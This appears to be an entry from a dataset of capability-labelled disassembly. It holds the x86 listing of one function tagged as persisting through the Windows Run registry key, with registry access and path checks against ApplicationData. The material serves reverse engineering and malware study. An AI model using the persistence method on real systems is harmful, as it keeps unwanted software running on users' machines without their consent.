Function at 0x415fda
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
mov ebx, ecx
push edi
mov edi, dword [ebp + 8]
push edi
lea ecx, [ebx + 0x30]
call fcn.00416206
call fcn.004145c4
dec eax
lea ecx, [ebp - 8]
neg eax
lea esi, [ebx + 0x10]
push str.SoftwareMicrosoftWindowsCurrentVersionExplorer_
sbb eax, eax
add eax, 0x80000002
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], 5
call fcn.0040346a
push eax
mov ecx, esi
call fcn.004035de
mov ecx, dword [ebp - 8]
call fcn.004068b7
lea eax, [edi + 0x38]
push eax
lea ecx, [ebp - 8]
call fcn.00403611
lea eax, [ebp - 8]
mov ecx, esi
push eax
call fcn.004034b6
mov ecx, dword [ebp - 8]
call fcn.004068b7
push str.inst
lea ecx, [ebp - 8]
call fcn.0040346a
push eax
lea ecx, [ebx + 0x18]
call fcn.004035de
mov ecx, dword [ebp - 8]
call fcn.004068b7
push str.InitWindows
lea ecx, [ebp - 8]
call fcn.0040346a
push eax
lea ecx, [ebx + 0x1c]
call fcn.004035de
mov ecx, dword [ebp - 8]
call fcn.004068b7
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
lea ecx, [ebp - 8]
call fcn.0040346a
push eax
lea ecx, [ebx + 0x14]
call fcn.004035de
mov ecx, dword [ebp - 8]
call fcn.004068b7
push ebx
push 0xf003f
push 0
push dword [esi]
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
neg eax
lea ecx, [ebp - 8]
lea edi, [ebx + 0x20]
sbb eax, eax
inc eax
mov dword [ebx + 0x24], eax
call fcn.00414844
push eax
mov ecx, edi
call fcn.004035de
mov ecx, dword [ebp - 8]
call fcn.004068b7
mov eax, dword [ebp + 8]
cmp dword [eax + 0x4c], 0
je 0x416151
mov edx, dword [ebx + 0xc]
lea ecx, [ebp - 8]
call fcn.00414891
push str.Documents:ApplicationData
lea ecx, [ebp - 8]
call fcn.004034f3
lea ecx, [ebp - 0xc]
call fcn.00414844
push eax
mov ecx, edi
call fcn.004035de
mov ecx, dword [ebp - 0xc]
call fcn.004068b7
push dword [ebp - 8]
mov esi, dword [sym.imp.USER32.dll_CharLowerW]
call esi
push dword [ebx + 0x20]
mov edi, eax
call esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
mov ecx, dword [ebp - 8]
test eax, eax
jne 0x416146
mov dword [ebx + 0x24], 1
call fcn.004068b7
jmp 0x4161ff
call fcn.004068b7
mov eax, dword [ebp + 8]
lea edi, [ebx + 0x20]
cmp dword [ebx + 0x24], 0
je 0x4161ff
xor esi, esi
and dword [ebp - 0xc], esi
mov dword [ebp - 0x10], esi
cmp dword [eax + 0x20], esi
je 0x4161d6
lea eax, [ebp - 0x10]
mov ecx, ebx
push eax
lea eax, [ebx + 0x18]
push eax
call fcn.00415f1a
test eax, eax
je 0x4161cd
push ecx
push ecx
lea eax, [ebp - 0x10]
mov ecx, esp
push eax
call fcn.004033e0
push ecx
push ecx
mov ecx, dword [ebp + 8]
push esp
call fcn.004066c5
lea ecx, [ebp - 0x18]
call fcn.00406a75
add esp, 0x10
lea ecx, [ebp - 8]
push ecx
mov ecx, eax
call fcn.00403352
push eax
mov ecx, edi
call fcn.004035de
mov ecx, dword [ebp - 8]
call fcn.004068b7
and dword [ebp - 8], esi
lea ecx, [ebp - 0x18]
call fcn.00403457
mov dword [ebx + 0x28], 1
jmp 0x4161d0
and dword [ebx + 0x28], esi
mov eax, dword [ebp + 8]
mov esi, dword [ebp - 0x10]
cmp dword [eax + 0x28], 0
je 0x4161f4
lea ecx, [ebp + 8]
call fcn.00414844
push eax
mov ecx, edi
call fcn.004035de
mov ecx, dword [ebp + 8]
call fcn.004068b7
test esi, esi
je 0x4161ff
mov ecx, esi
call fcn.00406955
pop edi
pop esi
pop ebx
leave
ret 4